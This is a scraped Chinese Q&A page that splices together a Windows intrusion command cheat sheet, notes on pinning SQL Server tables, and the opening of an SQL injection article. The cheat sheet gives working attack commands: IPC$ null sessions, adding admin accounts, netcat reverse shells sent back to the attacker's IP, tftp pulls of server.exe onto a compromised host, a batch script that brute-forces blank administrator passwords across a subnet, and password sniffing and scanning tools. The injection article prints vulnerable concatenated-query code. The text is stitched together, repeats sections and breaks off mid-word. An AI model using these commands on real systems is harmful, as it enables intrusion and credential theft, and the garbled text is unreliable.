>與>>的區別 ">"指:覆蓋;">>"指:保存到(添加到)。
如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二個命令分別執行二次比較看:用>>的則是把二次的結果都保存了,而用:>則只有一次的結果,是因為第二次的結果把第一次的覆蓋了。

#8 八:

2、掃錨工具:xscan.exe

基本格式
xscan -host <起始IP>[-<終止IP>] <檢測項目> [其他選項] 掃錨"起始IP到終止IP"段的所有主機信息
xscan -file <主機列表文件名> <檢測項目> [其他選項] 掃錨"主機IP列表文件名"中的所有主機信息
檢測項目
-active 檢測主機是否存活
-os 檢測遠程操作系統類型(通過NETBIOS和SNMP協議)
-port 檢測常用服務的埠狀態
-ftp 檢測FTP弱口令
-pub 檢測FTP服務匿名用戶寫許可權
-pop3 檢測POP3-Server弱口令
-smtp 檢測SMTP-Server漏洞
-sql 檢測SQL-Server弱口令
-smb 檢測NT-Server弱口令
-iis 檢測IIS編碼/解碼漏洞
-cgi 檢測CGI漏洞
-nasl 載入Nessus攻擊腳本
-all 檢測以上所有項目
其它選項
-i 適配器編號 設置網路適配器, <適配器編號>可通過"-l"參數獲取
-l 顯示所有網路適配器
-v 顯示詳細掃描進度
-p 跳過沒有響應的主機
-o 跳過沒有檢測到開放埠的主機
-t 並發線程數量,並發主機數量 指定最大並發線程數量和並發主機數量, 默認數量為100,10
-log 文件名 指定掃描報告文件名 (後綴為:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 檢測192.168.1.1-192.168.255.255網段內主機的所有漏洞,跳過無響應的主機
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 檢測192.168.1.1-192.168.255.255網段內主機的標准埠狀態,NT弱口令用戶,最大並發線程數量為150,跳過沒有檢測到開放埠的主機
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 檢測「hostlist.txt」文件中列出的所有主機的標准埠狀態,CGI漏洞,最大並發線程數量為200,同一時刻最多檢測5台主機,顯示詳細檢測進度,跳過沒有檢測到開放埠的主機

#9 九:

3、命令行方式嗅探器: xsniff.exe
可捕獲區域網內FTP/SMTP/POP3/HTTP協議密碼
參數說明
-tcp 輸出TCP數據報
-udp 輸出UDP數據報
-icmp 輸出ICMP數據報
-pass 過濾密碼信息
-hide 後台運行
-host 解析主機名
-addr IP地址 過濾IP地址
-port 埠 過濾埠
-log 文件名 將輸出保存到文件
-asc 以ASCII形式輸出
-hex 以16進制形式輸出
用法示例
xsniff.exe -pass -hide -log pass.log 後台運行嗅探密碼並將密碼信息保存在pass.log文件中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1並過濾tcp和udp信息並以ASCII格式輸出

4、終端服務密碼破解: tscrack.exe

參數說明
-h 顯示使用幫助
-v 顯示版本信息
-s 在屏幕上打出解密能力
-b 密碼錯誤時發出的聲音
-t 同

❼ 如何將SQL Server表駐留內存和檢測

1、DBCCPINTABLE 不會導致將表讀入到內存中。當表中的頁由普通的 Transact-SQL 語句讀入到高速緩存中時,這些頁將標記為內存駐留頁。當 SQL Server 需要空間以讀入新頁時,不會清空內存駐留頁。SQL Server 仍然
記錄對頁的更新,並且如有必要,將更新的頁寫回到磁碟。然而,在使用 DBCC UNPINTABLE 語句使該表不駐留之前
,SQL Server 在高速緩存中一直保存可用頁的復本。

DBCC PINTABLE 最適用於將小的、經常引用的表保存在內存中。將小表的頁一次性讀入到內存中,將來對其數據的所有引用都不需要從磁碟讀入。

注意 DBCC PINTABLE 可以提供性能改進,但是使用時務必小心。如果駐留大表,則該表在開始時會使用一大部分高速緩存,而不為系統中的其它表保留足夠的高速緩存。如果所駐留的表比高速緩存大,
則該表會填滿整個高速緩存。sysadmin 固定伺服器角色的某個成員必須關閉而後重新啟動 SQL Server,然後使表不駐留。
駐留太多的表和駐留比高速緩存大的表會產生同樣的問題。

示例:

Declare@db_idint,@tbl_idint
UseDATABASE_NAME
Set@db_id=DB_ID('DATABASE_NAME')
Set@tbl_id=Object_ID('Department')
DBCCpintable(@db_id,@tbl_id)

可將表Department設置為駐留內存。


Declare@db_idint,@tbl_idint
UseDATABASE_NAME
Set@db_id=DB_ID('DATABASE_NAME')
Set@tbl_id=Object_ID('Department')
DBCCUNpintable(@db_id,@tbl_id)

可將表Department取消設置為駐留內存。

可以使用如下的SQL指令來檢測執行情況:

SelectObjectProperty(Object_ID('Department'),'TableIsPinned')


如果返回結果為1:則表示該表已經設置為駐留內存;0:則表示沒有設置為駐留內存。


2, SP_TableOption
設置用戶定義表祥余伏的選項值。sp_tableoption可以用來打開桌上的文本,在文本行特徵ntext或image列。

語法毀寬
sp_tableoption [ @TableNamePattern = ] 'table'
, [ @OptionName = ] 'option_name'
, [ @OptionValue = ] 'value'

其中,'option_name' 有如下用法:

pintable -- 默認,它標志著該表不再內存居民。啟用時,將表標記為內存駐留(可將指謹攜定的表駐留內存)

另外,table lock on bulk load, insert row lock, text in row等等可選值,因不涉及將表駐留內存,具體用法可以查詢SQL Server Books Online.

Value有如下用法:

the option_name is enabled (true, on, or 1) or disabled (false, off, or 0)

示例:

EXECsp_tableoption'Department','pintable','true'

將數據表Department駐留內存

EXECsp_tableoption'Department','pintable','false'

取消數據表Department駐留內存



可以使用如下的SQL指令來檢測執行情況:

SelectObjectProperty(Object_ID('Department'),'TableIsPinned')



如果返回結果為1:則表示該表已經設置為駐留內存;0:則表示沒有設置為駐留內存。



3. Conclusions

將數據表設置為駐留內存時,並沒有實際將表讀入內存中,直到該表從被檢索。因此,可以使用如下SQL指令進一步將數據表Department駐留內存:

Select*FromDepartment


另外,可以使用如下SQL指令方便顯示/檢測資料庫Database中所有設置為駐留內存的表:

SELECT*FROMINFORMATION_SCHEMA.Tables
WHERETABLE_TYPE='BASETABLE'
ANDOBJECTPROPERTY(object_id(TABLE_NAME),'TableIsPinned')>0

❽ dos高手請進,急求dos指令全集。

net use \\ip\ipc$ " " /user:" " 建立IPC空鏈接
net use \\ip\ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
net use h: \\ip\c$ "密碼" /user:"用戶名" 直接登陸後映射對方C:到本地為H:
net use h: \\ip\c$ 登陸後映射對方C:到本地為H:
net use \\ip\ipc$ /del 刪除IPC鏈接
net use h: /del 刪除映射對方到本地的為H:的映射
net user 用戶名 密碼 /add 建立用戶
net user guest /active:yes 激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup administrators 用戶名 /add 把「用戶」添加到管理員中使其具有管理員許可權,注意:administrator後加s用復數
net start 查看開啟了哪些服務
net start 服務名 開啟服務;(如:net start telnet, net start schele)
net stop 服務名 停止某服務
net time \\目標ip 查看對方時間
net time \\目標ip /set 設置本地計算機時間與「目標IP」主機的時間同步,加上參數/yes可取消確認信息
net view 查看本地區域網內開啟了哪些共享
net view \\ip 查看對方區域網內開啟了哪些共享
net config 顯示系統網路設置
net logoff 斷開連接的共享
net pause 服務名 暫停某服務
net send ip "文本信息" 向對方發信息
net ver 區域網內正在使用的網路連接類型和信息
net share 查看本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除C:共享
net user guest 12345 用guest用戶登陸後用將密碼改為12345
net password 密碼 更改系統登陸密碼
netstat -a 查看開啟了哪些埠,常用netstat -an
netstat -n 查看埠的網路連接情況,常用netstat -an
netstat -v 查看正在進行的工作
netstat -p 協議名 例:netstat -p tcq/ip 查看某協議使用情況(查看tcp/ip協議使用情況)
netstat -s 查看正在使用的所有協議使用情況
nbtstat -A ip 對方136到139其中一個埠開了的話,就可查看對方最近登陸的用戶名(03前的為用戶名)-注意:參數-A要大寫
tracert -參數 ip(或計算機名) 跟蹤路由(數據包),參數:「-w數字」用於設置超時間隔。
ping ip(或域名) 向對方主機發送默認大小為32位元組的數據,參數:「-l[空格]數據包大小」;「-n發送數據次數」;「-t」指一直ping。
ping -t -l 65550 ip 死亡之ping(發送大於64K的文件並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數「/all」顯示全部配置信息
tlist -t 以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
kill -F 進程名 加-F參數後強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
del -F 文件名 加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如「DEL/AR *.*」表示刪除當前目錄下所有隻讀文件,「DEL/A-S *.*」表示刪除當前目錄下除系統文件以外的所有文件

#2 二:

del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同)
move 盤符\路徑\要移動的文件名 存放移動文件的路徑\移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中,"> "和"> >" 是重定向命令
at id號 開啟已注冊的某個計劃任務
at /delete 停止所有計劃任務,用參數/yes則不需要確認就直接停止
at id號 /delete 停止某個已注冊的計劃任務
at 查看所有的計劃任務
at \\ip time 程序名(或一個命令) /r 在某時間運行對方某程序並重新啟動計算機
finger username @host 查看最近有哪些用戶登陸
telnet ip 埠 遠和登陸伺服器,默認埠為23
open ip 連接到IP(屬telnet登陸後的命令)
telnet 在本機上直接鍵入telnet 將進入本機的telnet
路徑\文件名1 路徑\文件名2 /y 復制文件1到指定的目錄為文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件
c:\srv.exe \\ip\admin$ 復制本地c:\srv.exe到對方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,註:2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件
\\ip\admin$\svv.exe c:\ 或:\\ip\admin$\*.* 復制對方admini$共享下的srv.exe文件(所有文件)至本地C:
x 要復制的文件或目錄樹 目標地址\目錄名 復制文件和目錄樹,用參數/Y將不提示覆蓋相同文件
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:\server.exe 登陸後,將「IP」的server.exe下載到目標主機c:\server.exe 參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式(傳送文本文件模式)進行傳送
tftp -i 對方IP put c:\server.exe 登陸後,上傳本地c:\server.exe至主機
ftp ip 埠 用於上傳文件至伺服器或進行文件操作,默認埠為21。bin指用二進制方式傳送(可執行文件進);默認為ASCII格式傳送(文本文件時)
route print 顯示出IP路由,將主要顯示網路地址Network addres,子網掩碼Netmask,網關地址Gateway addres,介面地址Interface
arp 查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息
start 程序名或命令 /max 或/min 新開一個新窗口並最大化(最小化)運行某程序或命令
mem 查看cpu使用情況
attrib 文件名(目錄名) 查看某文件(目錄)的屬性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀,系統,隱藏 屬性;用+則是添加為某屬性
dir 查看文件,參數:/Q顯示文件及目錄屬系統哪個用戶,/T:C顯示文件創建時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間
date /t 、 time /t 使用此參數即「DATE/T」、「TIME/T」將只顯示當前日期和時間,而不必輸入新日期和時間
set 指定環境變數名稱=要指派給變數的字元 設置環境變數
set 顯示當前所有的環境變數
set p(或其它字元) 顯示出當前以字元p(或其它字元)開頭的所有環境變數
pause 暫停批處理程序,並顯示出:請按任意鍵繼續....
if 在批處理程序中執行條件處理(更多說明見if命令及變數)
goto 標簽 將cmd.exe導向到批處理程序中帶標簽的行(標簽必須單獨一行,且以冒號打頭,例如:「:start」標簽)
call 路徑\批處理文件名 從批處理程序中調用另一個批處理程序 (更多說明見call /?)
for 對一組文件中的每一個文件執行某個特定命令(更多說明見for命令及變數)
echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置
echo 信息 在屏幕上顯示出信息
echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中尋找字元串hello
find 文件名 查找某文件
title 標題名字 更改CMD窗口標題名字
color 顏色值 設置cmd控制台前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統一改為:EntSky\ )

#3 三:

ver 在DOS窗口下顯示版本信息
winver 彈出一個窗口顯示版本信息(內存大小、系統版本、補丁版本、計算機名)
format 盤符 /FS:類型 格式化磁碟,類型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目錄名 創建目錄
replace 源文件 要替換文件的目錄 替換文件
ren 原文件名 新文件名 重命名文件名
tree 以樹形結構顯示出目錄,用參數-f 將列出第個文件夾中文件名稱
type 文件名 顯示文本文件的內容
more 文件名 逐屏顯示輸出文件
doskey 要鎖定的命令=字元
doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行,重新調用win2k命令,並創建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=
taskmgr 調出任務管理器
chkdsk /F D: 檢查磁碟D並顯示狀態報告;加參數/f並修復磁碟上的錯誤
tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務默認埠23為其它任何埠
exit 退出cmd.exe程序或目前,用參數/B則是退出當前批處理腳本而不是cmd.exe
path 路徑\可執行文件的文件名 為可執行文件設置一個路徑。
cmd 啟動一個win2K命令解釋窗口。參數:/eff、/en 關閉、開啟命令擴展;更我詳細說明見cmd /?
regedit /s 注冊表文件名 導入注冊表;參數/S指安靜模式導入,無任何提示;
regedit /e 注冊表文件名 導出注冊表
cacls 文件名 參數 顯示或修改文件訪問控制列表(ACL)——針對NTFS格式時。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶名:perm 替換指定用戶的訪問許可權;/G 用戶名:perm 賦予指定用戶訪問許可權;Perm 可以是: N 無,R 讀取, W 寫入, C 更改(寫入),F 完全控制;例:cacls D:\test.txt /D pub 設定d:\test.txt拒絕pub用戶訪問。
cacls 文件名 查看文件的訪問用戶許可權列表
REM 文本內容 在批處理文件中添加註解
netsh 查看或更改本地網路配置情況

#4 四:

IIS服務命令:
iisreset /reboot 重啟win2k計算機(但有提示系統將重啟信息出現)
iisreset /start或stop 啟動(停止)所有Internet服務
iisreset /restart 停止然後重新啟動所有Internet服務
iisreset /status 顯示所有Internet服務狀態
iisreset /enable或disable 在本地系統上啟用(禁用)Internet服務的重新啟動
iisreset /rebootonerror 當啟動、停止或重新啟動Internet服務時,若發生錯誤將重新開機
iisreset /noforce 若無法停止Internet服務,將不會強制終止Internet服務
iisreset /timeout Val在到達逾時間(秒)時,仍未停止Internet服務,若指定/rebootonerror參數,則電腦將會重新開機。預設值為重新啟動20秒,停止60秒,重新開機0秒。
FTP 命令: (後面有詳細說明內容)
ftp的命令行格式為:
ftp -v -d -i -n -g[主機名] -v 顯示遠程伺服器的所有響應信息。
-d 使用調試方式。
-n 限制ftp的自動登錄,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令說明
bye 或 quit 終止主機FTP進程,並退出FTP管理方式.
pwd 列出當前遠端主機目錄
put 或 send 本地文件名 [上傳到主機上的文件名] 將本地一個文件傳送至遠端主機中
get 或 recv [遠程主機文件名] [下載到本地後的文件名] 從遠端主機中傳送至本地主機中
mget [remote-files] 從遠端主機接收一批文件至本地主機
mput local-files 將本地主機中一批文件傳送至遠端主機
dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的文件.如果有本地文件,就將結果寫至本地文件
ascii 設定以ASCII方式傳送文件(預設值)
bin 或 image 設定以二進制方式傳送文件
bell 每完成一次文件傳送,報警提示
cp 返回上一級目錄
close 中斷與遠程伺服器的ftp會話(與open對應)
open host[port] 建立指定ftp伺服器連接,可指定連接埠
delete 刪除遠端主機中的文件
mdelete [remote-files] 刪除一批文件
mkdir directory-name 在遠端主機中建立目錄
rename [from] [to] 改變遠端主機中的文件名
rmdir directory-name 刪除遠端主機中的目錄
status 顯示當前FTP的狀態
system 顯示遠端主機系統類型
user user-name [password] [account] 重新以別的用戶名登錄遠端主機
open host [port] 重新建立一個新的連接
prompt 交互提示模式
macdef 定義宏命令
lcd 改變當前本地主機的工作目錄,如果預設,就轉到當前用戶的HOME目錄
chmod 改變遠端主機的文件許可權
case 當為ON時,用MGET命令拷貝的文件名到本地機器中,全部轉換為小寫字母
cd remote-dir 進入遠程主機目錄
cp 進入遠程主機目錄的父目錄
! 在本地機中執行交互shell,exit回到ftp環境,如!ls*.zip

#5 五:

MYSQL 命令:
mysql -h主機地址 -u用戶名 -p密碼 連接MYSQL;如果剛安裝好MYSQL,超級用戶root是沒有密碼的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u與root可以不用加空格,其它也一樣)
exit 退出MYSQL
mysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼
grant select on 資料庫.* to 用戶名@登錄主機 identified by \"密碼\"; 增加新用戶。(注意:和上面不同,下面的因為是MYSQL環境中的命令,所以後面都帶一個分號作為命令結束符)
show databases; 顯示資料庫列表。剛開始時才兩個資料庫:mysql和test。mysql庫很重要它裡面有MYSQL的系統信息,我們改密碼和新增用戶,實際上就是用這個庫進行操作。
use mysql;
show tables; 顯示庫中的數據表
describe 表名; 顯示數據表的結構
create database 庫名; 建庫
use 庫名;
create table 表名 (欄位設定列表); 建表
drop database 庫名;
drop table 表名; 刪庫和刪表
delete from 表名; 將表中記錄清空
select * from 表名; 顯示表中的記錄
mysqlmp --opt school>school.bbb 備份資料庫:(命令在DOS的\\mysql\\bin目錄下執行);注釋:將資料庫school備份到school.bbb文件,school.bbb是一個文本文件,文件名任取,打開看看你會有新發現。
win2003系統下新增命令(實用部份):
shutdown /參數 關閉或重啟本地或遠程主機。
參數說明:/S 關閉主機,/R 重啟主機, /T 數字 設定延時的時間,范圍0~180秒之間, /A取消開機,/M //IP 指定的遠程主機。
例:shutdown /r /t 0 立即重啟本地主機(無延時)
taskill /參數 進程名或進程的pid 終止一個或多個任務和進程。
參數說明:/PID 要終止進程的pid,可用tasklist命令獲得各進程的pid,/IM 要終止的進程的進程名,/F 強制終止進程,/T 終止指定的進程及他所啟動的子進程。
tasklist 顯示當前運行在本地和遠程主機上的進程、服務、服務各進程的進程標識符(PID)。
參數說明:/M 列出當前進程載入的dll文件,/SVC 顯示出每個進程對應的服務,無參數時就只列出當前的進程。

#6 六:

Linux系統下基本命令: 要區分大小寫
uname 顯示版本信息(同win2K的 ver)
dir 顯示當前目錄文件,ls -al 顯示包括隱藏文件(同win2K的 dir)
pwd 查詢當前所在的目錄位置
cd cd ..回到上一層目錄,注意cd 與..之間有空格。cd /返回到根目錄。
cat 文件名 查看文件內容
cat >abc.txt 往abc.txt文件中寫上內容。
more 文件名 以一頁一頁的方式顯示一個文本文件。
cp 復制文件
mv 移動文件
rm 文件名 刪除文件,rm -a 目錄名刪除目錄及子目錄
mkdir 目錄名 建立目錄
rmdir 刪除子目錄,目錄內沒有文檔。
chmod 設定檔案或目錄的存取許可權
grep 在檔案中查找字元串
diff 檔案文件比較
find 檔案搜尋
date 現在的日期、時間
who 查詢目前和你使用同一台機器的人以及Login時間地點
w 查詢目前上機者的詳細資料
whoami 查看自己的帳號名稱
groups 查看某人的Group
passwd 更改密碼
history 查看自己下過的命令
ps 顯示進程狀態
kill 停止某進程
gcc 黑客通常用它來編譯C語言寫的文件
su 許可權轉換為指定使用者
telnet IP telnet連接對方主機(同win2K),當出現bash$時就說明連接成功。
ftp ftp連接上某伺服器(同win2K)

附:批處理命令與變數

1:for命令及變數 基本格式:
FOR /參數 %variable IN (set) DO command [command_parameters] %variable:指定一個單一字母可替換的參數,如:%i ,而指定一個變數則用:%%i ,而調用變數時用:%i% ,變數是區分大小寫的(%i 不等於 %I)。
批處理每次能處理的變數從%0—%9共10個,其中%0默認給批處理文件名使用,%1默認為使用此批處理時輸入的的第一個值,同理:%2—%9指輸入的第2-9個值;例:net use \\ip\ipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3

(set):指定一個或一組文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ 「(1 1 254)」第一個"1"指起始值,第二個"1"指增長量,第三個"254"指結束值,即:從1到254;「(1 -1 254)」說明:即從254到1 }

command:指定對第個文件執行的命令,如:net use命令;如要執行多個命令時,命令這間加:& 來隔開
command_parameters:為特定命令指定參數或命令行開關

IN (set):指在(set)中取值;DO command :指執行command

參數:/L 指用增量形式{ (set)為增量形式時 };/F 指從文件中不斷取值,直到取完為止{ (set)為文件時,如(d:\pass.txt)時 }。
用法舉例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存為test.bat 說明:對指定的一個C類網段的254個IP依次試建立administrator密碼為空的IPC$連接,如果成功就把該IP存在test.txt中。

/L指用增量形式(即從1-254或254-1);輸入的IP前面三位:*.*.*為批處理默認的 %1;%%G 為變數(ip的最後一位);& 用來隔開echo 和net use 這二個命令;| 指建立了ipc$後,在結果中用find查看是否有"命令成功完成"信息;%1.%%G 為完整的IP地址;(1 1 254) 指起始值,增長量,結止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存為:ok.exe 說明:輸入一個IP後,用字典文件d:\pass.dic來暴解d:\user.dic中的用戶密碼,直到文件中值取完為止。%%i為用戶名;%1為輸入的IP地址(默認)。

#7 七:

2:if命令及變數 基本格式:
IF [not] errorlevel 數字 命令語句 如果程序運行最後返回一個等於或大於指定數字的退出編碼,指定條件為「真」。
例:IF errorlevel 0 命令 指程序執行後返回的值為0時,就值行後面的命令;IF not errorlevel 1 命令指程序執行最後返回的值不等於1,就執行後面的命令。
0 指發現並成功執行(真);1 指沒有發現、沒執行(假)。
IF [not] 字元串1==字元串2 命令語句 如果指定的文本字元串匹配(即:字元串1 等於 字元串2),就執行後面的命令。
例:「if "%2%"=="4" goto start」指:如果輸入的第二個變數為4時,執行後面的命令(注意:調用變數時就%變數名%並加" ")
IF [not] exist 文件名 命令語句 如果指定的文件名存在,就執行後面的命令。
例:「if not nc.exe goto end」指:如果沒有發現nc.exe文件就跳到":end"標簽處。
IF [not] errorlevel 數字 命令語句 else 命令語句或 IF [not] 字元串1==字元串2 命令語句 else 命令語句或 IF [not] exist 文件名 命令語句 else 命令語句 加上:else 命令語句後指:當前面的條件不成立時,就指行else後面的命令。注意:else 必須與 if 在同一行才有效。 當有del命令時需把del命令全部內容用< >括起來,因為del命令要單獨一行時才能執行,用上< >後就等於是單獨一行了;例如:「if exist test.txt. <del test.txt.> else echo test.txt.missing 」,注意命令中的「.」

(二)系統外部命令(均需下載相關工具):

1、瑞士軍刀:nc.exe

參數說明:
-h 查看幫助信息
-d 後台模式
-e prog程序重定向,一但連接就執行〔危險〕
-i secs延時的間隔
-l 監聽模式,用於入站連接
-L 監聽模式,連接天閉後仍然繼續監聽,直到CTR+C
-n IP地址,不能用域名
-o film記錄16進制的傳輸
-p[空格]埠 本地埠號
-r 隨機本地及遠程埠
-t 使用Telnet交互方式
-u UDP模式
-v 詳細輸出,用-vv將更詳細
-w數字 timeout延時間隔
-z 將輸入,輸出關掉(用於掃錨時)
基本用法:
nc -nvv 192.168.0.1 80 連接到192.168.0.1主機的80埠
nc -l -p 80 開啟本機的TCP 80埠並監聽
nc -nvv -w2 -z 192.168.0.1 80-1024 掃錨192.168.0.1的80-1024埠
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 綁定remote主機的cmdshell在remote的TCP 5354埠
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主機的cmdshell並反向連接192.168.0.2的5354埠
高級用法:
nc -L -p 80 作為蜜罐用1:開啟並不停地監聽80埠,直到CTR+C為止
nc -L -p 80 > c:\log.txt 作為蜜罐用2:開啟並不停地監聽80埠,直到CTR+C,同時把結果輸出到c:\log.txt
nc -L -p 80 < c:\honeyport.txt 作為蜜罐用3-1:開啟並不停地監聽80埠,直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用
type.exe c:\honeyport | nc -L -p 80 作為蜜罐用3-2:開啟並不停地監聽80埠,直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用
本機上用:nc -l -p 本機埠
在對方主機上用:nc -e cmd.exe 本機IP -p 本機埠 *win2K
nc -e /bin/sh 本機IP -p 本機埠 *linux,unix 反向連接突破對方主機的防火牆
本機上用:nc -d -l -p 本機埠 < 要傳送的文件路徑及名稱
在對方主機上用:nc -vv 本機IP 本機埠 > 存放文件的路徑及名稱 傳送文件到對方主機
備 註:
| 管道命令
< 或 > 重定向命令。「<」,例如:tlntadmn < test.txt 指把test.txt的內容賦值給tlntadmn命令
@ 表示執行@後面的命令,但不會顯示出來(後台執行);例:@dir c:\winnt >> d:\log.txt 意思是:後台執行dir,並把結果存在d:\log.txt中
>與>>的區別 ">"指:覆蓋;">>"指:保存到(添加到)。
如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二個命令分別執行二次比較看:用>>的則是把二次的結果都保存了,而用:>則只有一次的結果,是因為第二次的結果把第一次的覆蓋了。

#8 八:

2、掃錨工具:xscan.exe

基本格式
xscan -host <起始IP>[-<終止IP>] <檢測項目> [其他選項] 掃錨"起始IP到終止IP"段的所有主機信息
xscan -file <主機列表文件名> <檢測項目> [其他選項] 掃錨"主機IP列表文件名"中的所有主機信息
檢測項目
-active 檢測主機是否存活
-os 檢測遠程操作系統類型(通過NETBIOS和SNMP協議)
-port 檢測常用服務的埠狀態
-ftp 檢測FTP弱口令
-pub 檢測FTP服務匿名用戶寫許可權
-pop3 檢測POP3-Server弱口令
-smtp 檢測SMTP-Server漏洞
-sql 檢測SQL-Server弱口令
-smb 檢測NT-Server弱口令
-iis 檢測IIS編碼/解碼漏洞
-cgi 檢測CGI漏洞
-nasl 載入Nessus攻擊腳本
-all 檢測以上所有項目
其它選項
-i 適配器編號 設置網路適配器, <適配器編號>可通過"-l"參數獲取
-l 顯示所有網路適配器
-v 顯示詳細掃描進度
-p 跳過沒有響應的主機
-o 跳過沒有檢測到開放埠的主機
-t 並發線程數量,並發主機數量 指定最大並發線程數量和並發主機數量, 默認數量為100,10
-log 文件名 指定掃描報告文件名 (後綴為:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 檢測192.168.1.1-192.168.255.255網段內主機的所有漏洞,跳過無響應的主機
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 檢測192.168.1.1-192.168.255.255網段內主機的標准埠狀態,NT弱口令用戶,最大並發線程數量為150,跳過沒有檢測到開放埠的主機
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 檢測「hostlist.txt」文件中列出的所有主機的標准埠狀態,CGI漏洞,最大並發線程數量為200,同一時刻最多檢測5台主機,顯示詳細檢測進度,跳過沒有檢測到開放埠的主機

#9 九:

3、命令行方式嗅探器: xsniff.exe
可捕獲區域網內FTP/SMTP/POP3/HTTP協議密碼
參數說明
-tcp 輸出TCP數據報
-udp 輸出UDP數據報
-icmp 輸出ICMP數據報
-pass 過濾密碼信息
-hide 後台運行
-host 解析主機名
-addr IP地址 過濾IP地址
-port 埠 過濾埠
-log 文件名 將輸出保存到文件
-asc 以ASCII形式輸出
-hex 以16進制形式輸出
用法示例
xsniff.

❾ 如何防範SQL注入漏洞及檢測

以下是OMG我為大家收集整理的文章,希望對大家有所幫助。

SQL注入(SQLInjection)漏洞攻擊是目前網上最流行最熱門的黑客腳本攻擊方法之一,那什麼是SQL注入漏洞攻擊呢?它是指黑客利用一些Web應用程序(如:網站、論壇、留言本、文章發布系統等)中某些存在不安全代碼或SQL語句不縝密的頁面,精心構造SQL語句,把非法的SQL語句指令轉譯到系統實際SQL語句中並執行它,以獲取用戶名、口令等敏感信息,從而達到控制主機伺服器的攻擊方法。

1. SQL注入漏洞攻擊原理

1. 1 SQL注入漏洞攻擊實現原理

SQL(Structured Query Language)是一種用來和資料庫交互的語言文本。SQL注入的攻擊原理就是攻擊者通過Web應用程序利用SQL語句或字元串將非法的數據插入到伺服器端資料庫中,獲取資料庫的管理用戶許可權,然後將資料庫管理用戶許可權提升至操作系統管理用戶許可權,控制伺服器操作系統,獲取重要信息及機密文件。

SQL注入漏洞攻擊主要是通過藉助於HDSI、NBSI和Domain等SQL注入漏洞掃描工具掃描出Web頁面中存在的SQL注入漏洞,從而定位SQL注入點,通過執行非法的SQL語句或字元串達到入侵者想要的操作。下面以一段身份驗證的.NET代碼為例,說明一下SQL 注入攻擊的實現方法。

SqlConnectionnwConn = new SqlConnection((string)ConfigurationSettings.AppSettings["DBconnStrings"]); string queryStr = "SELECT userid,userpwd, username,type FROM users where userid='" + Txtusername.Text +"'";

DataSet userSet = new DataSet();

SqlDataAdapter userAdapter = newSqlDataAdapter(queryStr, nwConn);

userAdapter.Fill(userSet, "Users");

Session["UserID"] =Txtusername.Text.ToString();

Session["type"] =type.Text.ToString();

Response.Redirect("/Myweb/admin/login.aspx");

